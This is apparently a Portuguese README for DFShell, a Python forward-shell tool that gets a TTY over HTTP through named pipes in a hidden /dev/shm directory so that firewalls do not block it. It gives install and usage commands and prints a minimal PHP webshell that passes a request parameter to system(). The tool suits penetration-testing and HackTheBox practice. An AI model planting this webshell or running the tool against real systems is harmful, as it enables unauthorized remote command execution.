
Ferramenta de shell forward baseada em Python que cria um shell interativo semelhante a TTY sobre HTTP usando pipes nomeados, permitindo a execução de comandos em alvos protegidos por firewall sem conexões de rede persistentes.
██████╗ ███████╗███████╗██╗ ██╗███████╗██╗ ██╗
██╔══██╗██╔════╝██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║█████╗ ███████╗███████║█████╗ ██║ ██║
██║ ██║██╔══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║
██████╔╝██║ ███████║██║ ██║███████╗███████╗███████╗
╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
Forward Shell do D3Ext é um script python3 que utiliza mkfifo para simular um shell na máquina vítima. Ele cria um diretório oculto em /dev/shm/.fs/ onde os fifos são armazenados. Você pode até simular um TTY sobre a webshell.
Este forward shell cria um shell que aceita comandos através de um Named Pipe (mkfifo) e envia a saída para um arquivo. Dessa forma, o shell não requer uma conexão de rede persistente, permitindo estabelecer um TTY adequado atrás de um firewall que bloqueia shells reversos/vinculados.
Instalar a partir do código fonte
git clone https://github.com/D3Ext/DFShell
cd DFShell
pip3 install -r requirements.txt
Instalar com pip
pip3 install dfshell
DFShell possui uma variedade de parâmetros de CLI para melhorar a configuração do forward shell.
Painel de ajuda
usage: dfshell.py [-h] -u URL -p PARAMETER [-t TIMEOUT] [--path PATH] [-v VERBOSE]
D3Ext's Forward Shell - Enhanced forward shell with integrated commands
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL url of the webshell (i.e. http://10.10.10.10/webshell.php)
-p PARAMETER, --parameter PARAMETER
parameter of the webshell to execute commands (i.e. cmd)
-t TIMEOUT, --timeout TIMEOUT
timeout of requests that execute commands (default 20s)
--path PATH path in which to create named pipes (default /dev/shm/.fs)
-v VERBOSE, --verbose VERBOSE
print more information
Ele envia requisições GET para a URL fornecida, então a webshell deve ser algo como:
<?php
if(isset($_REQUEST['cmd']))
{
system($_REQUEST['cmd']);
}
?>
Testado no Parrot OS com um servidor Apache
Se você quiser testar esta ferramenta em ambientes controlados, aqui está uma lista de máquinas HackTheBox nas quais regras de firewall são aplicadas no servidor web, então o forward shell é uma ótima alternativa para seguir diretamente para a escalação de privilégios.
Agradecimentos ao @ippsec por essa técnica incrível
https://github.com/IppSec/forward-shell
https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux#forward-shell
https://www.f5.com/labs/learning-center/forward-and-reverse-shells
https://github.com/Hypnoze57/FShell
https://s4vitar.github.io/ttyoverhttp/
Veja CONTRIBUTING.md
Veja CHANGELOG.md
Este projeto está sob licença MIT
Direitos autorais © 2023, D3Ext